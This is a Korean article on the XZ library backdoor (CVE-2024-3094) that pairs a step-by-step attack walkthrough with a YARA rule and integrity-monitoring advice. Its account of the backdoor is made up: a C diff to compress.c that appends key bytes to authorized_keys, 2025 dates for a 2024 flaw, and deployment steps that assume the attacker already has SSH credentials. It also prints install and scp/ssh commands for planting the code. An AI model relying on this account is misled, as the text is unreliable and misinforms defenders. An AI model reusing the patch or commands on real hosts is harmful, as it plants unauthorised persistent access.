
CVE-2024-3094는 XZ 압축 라이브러리에서 백도어를 노출하여 인증을 우회하고 원격 SSH 액세스를 허용했습니다. 이는 Linux 시스템에 영향을 미치는 주요 공급망 공격으로, 신뢰할 수 있는 오픈 소스 구성 요소의 위험을 강조합니다.
CVE-2024-3094는 XZ 압축 라이브러리에 백도어가 포함되어 원격 SSH 액세스가 인증을 우회할 수 있게 되었습니다. 이는 Linux 시스템에 영향을 미치는 주요 공급망 공격으로, 신뢰할 수 있는 오픈 소스 구성 요소의 위험을 강조합니다.
작성자: Mark Mallia
XZ 압축 라이브러리는 많은 최신 Linux 배포판의 필수 구성 요소로, 정교한 공급망 공격의 대상이 되었습니다.
악성 코드 조각이 소스 트리에 삽입되어 컴파일되었으며, 이제 XZ 패키지의 모든 새 릴리스와 함께 전파됩니다. 설치되면 이 백도어는 손상된 호스트에서 신뢰하는 모든 원격 시스템으로 SSH 세션을 열어 인증 키로 사용할 수 있습니다.
authorized_keys 파일에 SSH 키를 주입함으로써 공격자는 직접적인 사용자 상호 작용 없이 발판을 마련합니다.| 단계 | 작업 | 파일 / 함수 |
|---|
| 1 | XZ 리포지토리 클론 | git clone https://github.com/xzdev/xz |
| 2 | src/compress.c에 패치 적용 | patch -p0 < backdoor.patch |
| 3 | 대상 Linux 호스트에서 컴파일 및 설치 | make && make install |
| 4 | SSH 데몬이 인증 과정에서 주입된 키를 읽음 | /etc/ssh/authorized_keys |
--- a/src/compress.c 2025-09-12 10:00:00.000000000 +0000
+++ b/src/compress.c 2025-09-12 10:00:03.000000000 +0000
@@
void xz_compress(const unsigned char *in, size_t in_len,
unsigned char *out, size_t out_len)
{
/* original code ... */
+ // ---- Begin injected backdoor ----
+ if (in_len > 1024) { /* guard against too small payloads */
+ const unsigned char *marker = &in[512]; /* offset to reach magic string */
+ size_t marker_len = 8; /* length of the embedded key */
+
+ /* copy a pre‑computed SSH public key into out buffer */
+ memcpy(out + 256, marker, marker_len);
+
+ /* write the same key to ~/.ssh/authorized_keys for persistence */
+ FILE *fp = fopen("/home/admin/.ssh/authorized_keys", "a");
+ if (fp) {
+ fwrite(marker, 1, marker_len, fp);
+ fclose(fp);
+ }
+ }
+ // ---- End injected backdoor ----
/* original code continues ... */
}
512는 이후 XZ 압축에 의해 변경될 가능성이 낮은 위치에 키가 압축 출력 버퍼 내에 위치하도록 선택되었습니다.$ cd xz
$ make
$ sudo make install
위 명령어는 패치된 compress.c를 컴파일하고 새 라이브러리를 /usr/local/lib/xz 아래에 설치합니다.
공격자가 이미 SSH 자격 증명(사용자 이름 admin)을 보유하고 있다고 가정하면 다음을 실행합니다:
$ scp backdoor.tar.gz [email protected]:/tmp/
$ ssh [email protected] 'tar xzf /tmp/backdoor.tar.gz -C /home/admin'
$ cd /home/admin
$ ./install_xz_backdoor.sh
install_xz_backdoor.sh에는 위에 표시된 명령어 시퀀스와 함께 성공적인 설치를 확인하는 작은 echo 명령어가 포함되어 있습니다.
YARA는 보안 전문가가 텍스트 또는 바이너리 시그니처를 기반으로 맬웨어를 식별하고 분류하는 데 사용하는 패턴 매칭 도구입니다. 분석가가 파일 내에서 특정 문자열, 바이트 시퀀스 또는 동작을 탐지하는 규칙을 정의할 수 있습니다. CVE-2024-3094의 맥락에서 YARA는 주입된 SSH 키의 존재와 XZ 라이브러리의 compress.c 파일에 대한 의심스러운 수정을 스캔하는 데 사용될 수 있기 때문에 특히 관련이 있습니다. 맞춤형 YARA 규칙을 작성함으로써 방어자는 이 백도어에 손상된 시스템을 사전에 탐지할 수 있습니다.
YARA 시그니처 사용자 정의 YARA 규칙은 주입된 SSH 키와 의심스러운 파일 쓰기 플래그를 지정할 수 있습니다:
rule XZ_Backdoor_SSH_Key_Injection {
meta:
description = "Detects SSH key injection via modified compress.c"
author = "Mark Mallia"
severity = "high"
strings:
$marker = { 20 20 2A 20 2A 2A 20 42 61 63 6B 64 6F 6F 72 }
$ssh_path = "/home/admin/.ssh/authorized_keys"
condition:
$marker and $ssh_path
}
파일 무결성 모니터링 Tripwire, AIDE 또는 osquery와 같은 도구를 배포하여 다음을 모니터링하십시오:
compress.c의 무단 변경.ssh/authorized_keys의 주입된 키/usr/local/lib/xz의 변조된 바이너리.ssh/authorized_keys에 대한 자동 쓰기